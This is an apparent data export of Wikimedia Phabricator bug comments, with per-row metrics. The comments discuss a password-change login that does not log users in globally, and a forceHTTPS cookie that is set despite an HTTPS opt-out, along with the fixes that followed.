2207569,Login with the required password change doesn't log me in globally,"Please reopen if this is still an issue, but I'm pretty sure it was fixed by AuthManager - other parts of the login stack, such as CentralAuth, now don't know whether there was a password change step.",,,1696629317,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-4yoprjxsxryoacxktvyk,task_subcomment,,True,c2,3,True,,,527,True,0.0,0.0,0.0,2.0,2.0,7.0,2.0,0.0,0.0,2.0,2.0,5.0,2.0,0.0,2.0,2.0,0.0,9.0,12.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,16.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,9.0,5.0,2.0,9.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,5.0,12.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.813953488372093,0.9302325581395349,"Please reopen if this is still an issue, but I'm pretty sure it was fixed by AuthManager - other parts of the login stack, such as CentralAuth, now don't know whether there was a password change step."
1196768,Login with the required password change doesn't log me in globally,@Piramidion: Please see and follow https://www.mediawiki.org/wiki/Manual:How_to_debug/Login_problems and report back here. Thanks!,,,1544893724,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-4yoprjxsxryoacxktvyk,task_subcomment,,True,c2,3,True,,,276,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,14.0,0.0,0.0,0.0,7.0,0.0,21.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.142857142857143,0.9285714285714286,SCREEN_NAME: Please see and follow URL and report back here. Thanks!
1196751,Login with the required password change doesn't log me in globally,"A user reported this recently. Apparently he's using a temporary password, as he doesn't know neither his current, nor his old passwords. It stays saved in his browser, so he's able to log into Wikipedia, but the problem is he cannot log into any other project, like Wikidata or Commons. He also says that the system randomly logs him out on Wikipedia too. Is there a way to fix this issue as per user, so that he can keep working like usual, until this entire problem is resolved?",,,1544890597,,PHID-USER-236lfjw5qszgahq5srnq,False,,,PHID-TASK-4yoprjxsxryoacxktvyk,task_subcomment,,True,c2,3,False,,,276,True,1.0,0.0,0.0,1.0,1.0,4.5,0.0,0.0,0.0,0.0,2.0,0.5,0.0,0.0,1.0,0.0,0.0,5.0,14.0,0.0,1.5,0.0,1.0,0.0,0.5,0.0,0.0,0.0,1.5,0.0,0.0,6.5,0.5,0.5,1.5,0.0,0.0,0.0,0.0,1.0,0.0,6.5,0.5,0.0,0.0,0.0,0.0,0.0,1.0,9.0,0.0,3.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.5,2.5,7.0,3.5,2.5,7.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,7.0,14.0,3.5,1.0,0.0,0.0,7.0,0.0,0.0,2.0,1.0,1.5,0.0,0.0,0.0,3.7884615384615383,0.8365384615384615,"A user reported this recently. Apparently he's using a temporary password, as he doesn't know neither his current, nor his old passwords. It stays saved in his browser, so he's able to log into Wikipedia, but the problem is he cannot log into any other project, like Wikidata or Commons. He also says that the system randomly logs him out on Wikipedia too. Is there a way to fix this issue as per user, so that he can keep working like usual, until this entire problem is resolved?"
276864,Login with the required password change doesn't log me in globally,I haven't been able to get to it yet,,,1400026541,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-4yoprjxsxryoacxktvyk,task_subcomment,,True,c2,3,True,,,37,True,0.0,0.0,0.0,0.0,10.0,10.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,20.0,20.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8,0.9,I haven't been able to get to it yet
276857,Login with the required password change doesn't log me in globally,"(In reply to Chris Steipp from comment #4)
> Platform has let me schedule some password work this quarter, which this
> falls under. So March-ish is a good target.

Chris: How did reality bite, and any new approx. timeframe? :)",,,1399878048,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-4yoprjxsxryoacxktvyk,task_subcomment,,True,c2,3,True,,,36,True,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,3.0,3.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,10.0,13.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2580645161290325,0.9032258064516129,"(In reply to Chris Steipp from comment #4)
QUOTE
QUOTE

Chris: How did reality bite, and any new approx. timeframe? :)"
276849,Login with the required password change doesn't log me in globally,"Platform has let me schedule some password work this quarter, which this falls under. So March-ish is a good target.",,,1389291226,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-4yoprjxsxryoacxktvyk,task_subcomment,,True,c2,3,True,,,19,True,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,12.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,3.88,0.92,"Platform has let me schedule some password work this quarter, which this falls under. So March-ish is a good target."
276844,Login with the required password change doesn't log me in globally,"(In reply to comment #2 by csteipp)
> I'm planning to rework the patches we put in for this particular incident,
> which will do the full SUL2 handshake after the login finishes.

csteipp: Any vague timeframe (if this is still the plan)?",,,1389267605,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-4yoprjxsxryoacxktvyk,task_subcomment,,True,c2,3,True,,,19,True,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,14.0,3.0,0.0,10.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,14.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1379310344827585,0.8275862068965517,"(In reply to comment #2 by csteipp)
QUOTE
QUOTE

csteipp: Any vague timeframe (if this is still the plan)?"
276840,Login with the required password change doesn't log me in globally,"I saw this last night. You're actually logged in as your SUL user (as you noted, but being logged into other wikipedia.org subdomains), but we don't do the redirect through loginwiki since the normal login hooks aren't called, so you won't be logged into the other projects.

I'm planning to rework the patches we put in for this particular incident, which will do the full SUL2 handshake after the login finishes.",,,1380820150,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-4yoprjxsxryoacxktvyk,task_subcomment,,True,c2,3,True,,,5,True,0.0,0.0,0.0,3.0,3.0,8.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,5.0,0.0,6.0,13.0,0.0,1.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,2.0,0.0,0.0,5.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,6.0,1.0,2.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,9.0,13.0,3.0,0.0,0.0,0.0,9.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,4.011627906976744,0.6976744186046512,"I saw this last night. You're actually logged in as your SUL user (as you noted, but being logged into other wikipedia.org subdomains), but we don't do the redirect through loginwiki since the normal login hooks aren't called, so you won't be logged into the other projects.

I'm planning to rework the patches we put in for this particular incident, which will do the full SUL2 handshake after the login finishes."
276836,Login with the required password change doesn't log me in globally,"Logins using temporary password (""Reset your password"" feature) are also affected.",,,1380793429,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-4yoprjxsxryoacxktvyk,task_subcomment,,True,c2,3,False,,,5,True,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.5,0.875,"Logins using temporary password (""Reset your password"" feature) are also affected."
56626,forceHTTPS session cookie placed even with HTTPS opt-out set,"Forced secure connection...again...[edit]

Even though the ""always use a secure connection"" box is unchecked, I'm being redirected to https:// no matter what I do on each and every page. This is becoming bothersome. - The Bushranger One ping only 22:43, 25 September 2013 (UTC)


Which browser are you using? If Firefox, try zapping all the forceHTTPS cookies, as suggested a few weeks back. --Redrose64 (talk) 23:09, 25 September 2013 (UTC)


I'm using FF22. I tried that - but there was no forceHTTPS cookie after I logged out per the directions there. There was one that existed while I was logged in, and I deleted it while logged in - and was then able to navigate using http://...however, as soon as I signed out and back in again, I was right back stuck on https://. This is a Wikipedia issue, not a my-browser isssue, as it's force-feeding me the forceHTTPS cookie every time I log in, even though it was just fine on http:// this morning. - The Bushranger One ping only 23:25, 25 September 2013 (UTC)


I tried deleting and had similar problems - it's also force feeding me that cookie every time I log in. Why do the technical people have meddle so... and not tell us. Dpmuk (talk) 06:07, 26 September 2013 (UTC)

--------------------------
**Version**: master
**Severity**: normal",High,80.0,1380185580,1381853735.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-yk4yz7wimv556d7eqmvv,task_description,resolved,True,c2,3,False,False,True,4,True,2.0,0.0,0.0,0.6666666666666666,0.6666666666666666,3.6666666666666665,1.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,3.0,0.6666666666666666,0.0,0.6666666666666666,0.6666666666666666,5.333333333333333,0.0,8.0,7.333333333333333,0.0,0.3333333333333333,0.0,1.0,0.0,4.666666666666667,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,4.666666666666667,0.0,1.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,1.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,1.6666666666666667,0.0,0.3333333333333333,0.0,0.0,0.0,9.666666666666666,1.3333333333333333,0.6666666666666666,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.0,1.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,3.6666666666666665,14.333333333333334,2.0,2.3333333333333335,7.666666666666667,0.0,0.0,0.0,0.0,1.0,0.0,5.333333333333333,0.0,7.0,7.333333333333333,6.333333333333333,0.3333333333333333,0.6666666666666666,0.0,7.0,0.0,1.3333333333333333,1.3333333333333333,1.0,2.6666666666666665,0.0,0.0,0.6666666666666666,3.698501461988304,0.695577485380117,"Forced secure connection...again...[edit]

Even though the ""always use a secure connection"" box is unchecked, I'm being redirected to https:// no matter what I do on each and every page. This is becoming bothersome. - The Bushranger One ping only 22:43, 25 September 2013 (UTC)


Which browser are you using? If Firefox, try zapping all the forceHTTPS cookies, as suggested a few weeks back. --Redrose64 (talk) 23:09, 25 September 2013 (UTC)


I'm using FF22. I tried that - but there was no forceHTTPS cookie after I logged out per the directions there. There was one that existed while I was logged in, and I deleted it while logged in - and was then able to navigate using URL as soon as I signed out and back in again, I was right back stuck on URL This is a Wikipedia issue, not a my-browser isssue, as it's force-feeding me the forceHTTPS cookie every time I log in, even though it was just fine on http:// this morning. - The Bushranger One ping only 23:25, 25 September 2013 (UTC)


I tried deleting and had similar problems - it's also force feeding me that cookie every time I log in. Why do the technical people have meddle so... and not tell us. Dpmuk (talk) 06:07, 26 September 2013 (UTC)

--------------------------
**Version**: master
**Severity**: normal"
260243,forceHTTPS session cookie placed even with HTTPS opt-out set,"**salisria** wrote:

I have managed to reproduce it and this time noticed the trigger.  Using Google Translate on a Wikipedia page.  I have filed a new bug, Bug 55887.",,,1382118210,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-yk4yz7wimv556d7eqmvv,task_subcomment,,True,c2,3,False,,,7,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,17.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,7.0,5.0,10.0,0.0,0.0,0.0,7.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,3.4146341463414633,0.7804878048780488,"**salisria** wrote:

I have managed to reproduce it and this time noticed the trigger.  Using Google Translate on a Wikipedia page.  I have filed a new bug, Bug 55887."
260238,forceHTTPS session cookie placed even with HTTPS opt-out set,Confirmed fixed in a Chrome private browser session with HTTPS disabled.,,,1381943703,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-yk4yz7wimv556d7eqmvv,task_subcomment,,True,c2,3,False,,,7,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,25.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,5.166666666666667,1.0,Confirmed fixed in a Chrome private browser session with HTTPS disabled.
260233,forceHTTPS session cookie placed even with HTTPS opt-out set,"If you can reproduce this now that you've logged out and logged back in, please file a new bug with specific instructions on reproducing.",,,1381853735,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-yk4yz7wimv556d7eqmvv,task_subcomment,,True,c2,3,True,,,6,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,11.0,22.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,7.0,4.0,7.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,7.0,22.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.222222222222222,0.9259259259259259,"If you can reproduce this now that you've logged out and logged back in, please file a new bug with specific instructions on reproducing."
260226,forceHTTPS session cookie placed even with HTTPS opt-out set,"**salisria** wrote:

Okay, just tried one more thing.  Clearing the cookies, logging out, and logging back in.  That worked.  But still, I should not have ever gotten into the state I was in of it forcing me into HTTPS, so something is still wonky, even if intermittently so.",,,1381705099,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-yk4yz7wimv556d7eqmvv,task_subcomment,,True,c2,3,False,,,6,True,0.0,1.0,0.0,0.0,1.0,3.0,3.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,4.0,0.0,13.0,12.0,1.0,0.0,1.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,3.0,3.0,10.0,1.0,4.0,4.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,6.0,12.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,1.0,6.0,1.0,0.0,0.0,3.417910447761194,0.7014925373134329,"**salisria** wrote:

Okay, just tried one more thing.  Clearing the cookies, logging out, and logging back in.  That worked.  But still, I should not have ever gotten into the state I was in of it forcing me into HTTPS, so something is still wonky, even if intermittently so."
260222,forceHTTPS session cookie placed even with HTTPS opt-out set,"**salisria** wrote:

Just realized something.  One of the cookies was ""wikipedia.org"".   If I remember correctly, then before there were separate cookies for en.wikipedia.org, fr.wikipedia.org, etc.  Did someone do an optimization to use only one cookie per domain and then forget to give us the ability to opt out  since there are no preferences users can set on ""wikipedia.org"", just on the individual sites?",,,1381703793,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-yk4yz7wimv556d7eqmvv,task_subcomment,,True,c2,3,False,,,6,True,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,2.0,2.0,0.0,7.0,14.0,2.0,4.0,0.0,1.0,0.0,6.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,4.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,4.0,6.0,2.0,1.0,6.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,2.0,14.0,4.0,1.0,5.0,0.0,2.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,5.0,4.105882352941176,0.7411764705882353,"**salisria** wrote:

Just realized something.  One of the cookies was ""wikipedia.org"".   If I remember correctly, then before there were separate cookies for en.wikipedia.org, fr.wikipedia.org, etc.  Did someone do an optimization to use only one cookie per domain and then forget to give us the ability to opt out  since there are no preferences users can set on ""wikipedia.org"", just on the individual sites?"
260216,forceHTTPS session cookie placed even with HTTPS opt-out set,"**salisria** wrote:

I'm getting forced into using HTTPS again today, so I'm reopening this bug.  Not only that, but clearing the cookies doesn't help.  If do that, then I get the popup message:
Central login
You are centrally logged in as XXXXXXX. Reload the page to apply your user settings.

And 15 different new HTTPS cookies added:
commons, incubator, login, mediawiki, meta, species, wikibooks, wikidata, wikinews, wikipedia, wikiquote, wikisource, wikiversity, wikivoyage, and wiktionary.

I am using Firefox 24.0.",,,1381702355,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-yk4yz7wimv556d7eqmvv,task_subcomment,,True,c2,3,False,,,6,True,0.0,0.0,0.0,0.5,1.0,4.0,0.0,0.0,0.0,0.5,1.0,1.5,0.0,0.5,0.0,2.5,0.0,3.5,3.0,0.0,1.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,1.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,16.5,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,2.0,1.5,9.0,0.5,2.0,3.5,0.0,0.0,0.0,0.0,2.0,0.0,1.5,0.0,3.5,3.0,5.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.7850282485875706,0.7392655367231639,"**salisria** wrote:

I'm getting forced into using HTTPS again today, so I'm reopening this bug.  Not only that, but clearing the cookies doesn't help.  If do that, then I get the popup message:
Central login
You are centrally logged in as XXXXXXX. Reload the page to apply your user settings.

And 15 different new HTTPS cookies added:
commons, incubator, login, mediawiki, meta, species, wikibooks, wikidata, wikinews, wikipedia, wikiquote, wikisource, wikiversity, wikivoyage, and wiktionary.

I am using Firefox 24.0."
260209,forceHTTPS session cookie placed even with HTTPS opt-out set,"Thanks for checking, Brad.",,,1381426328,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-yk4yz7wimv556d7eqmvv,task_subcomment,,True,c2,3,False,,,6,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8333333333333335,1.0,"Thanks for checking, Brad."
260205,forceHTTPS session cookie placed even with HTTPS opt-out set,"I don't know why it's not on that release notes page, but I just checked on tin and it is included in the version of CentralAuth in /a/common/php-1.22wmf20/extensions/CentralAuth.",,,1381422212,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-yk4yz7wimv556d7eqmvv,task_subcomment,,True,c2,3,True,,,6,True,0.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,5.0,0.0,10.0,12.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,10.0,2.0,5.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,10.0,12.0,5.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8,0.8,"I don't know why it's not on that release notes page, but I just checked on tin and it is included in the version of CentralAuth in /a/common/php-1.22wmf20/extensions/CentralAuth."
260199,forceHTTPS session cookie placed even with HTTPS opt-out set,Is this in fact in wmf20? I don't see it in the release notes in https://www.mediawiki.org/wiki/MediaWiki_1.22/wmf20,,,1381391926,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-yk4yz7wimv556d7eqmvv,task_subcomment,,True,c2,3,False,,,6,True,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,22.0,6.0,0.0,0.0,0.0,6.0,0.0,11.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,17.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,11.0,22.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.9444444444444446,0.8333333333333334,Is this in fact in wmf20? I don't see it in the release notes in URL
260193,forceHTTPS session cookie placed even with HTTPS opt-out set,%%%*** Bug 55368 has been marked as a duplicate of this bug. ***%%%,,,1381072702,,PHID-USER-jfiw563ca4r5mxfkj4vx,False,,,PHID-TASK-yk4yz7wimv556d7eqmvv,task_subcomment,,True,c2,3,False,,,5,True,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,25.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.2916666666666665,0.5833333333333334,%%%*** Bug 55368 has been marked as a duplicate of this bug. ***%%%
260189,forceHTTPS session cookie placed even with HTTPS opt-out set,"Marking this fixed, since the patch is merged. It looks like this just missed being included in 1.22wmf19, so it should go out to WMF wikis with 1.22wmf20. See https://www.mediawiki.org/wiki/MediaWiki_1.22/Roadmap for the schedule.

Unless, of course, Chris or someone wants to backport it (which would probably happen then on Monday).",,,1380298508,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-yk4yz7wimv556d7eqmvv,task_subcomment,,True,c2,3,True,,,4,True,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,20.0,2.0,2.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,2.0,5.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,13.0,5.0,2.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,5.0,20.0,5.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,3.8852459016393444,0.8360655737704918,"Marking this fixed, since the patch is merged. It looks like this just missed being included in 1.22wmf19, so it should go out to WMF wikis with 1.22wmf20. See URL for the schedule.

Unless, of course, Chris or someone wants to backport it (which would probably happen then on Monday)."
260185,forceHTTPS session cookie placed even with HTTPS opt-out set,"Change 86101 merged by jenkins-bot:
Explicitly clear forceHTTPS cookie when insecure

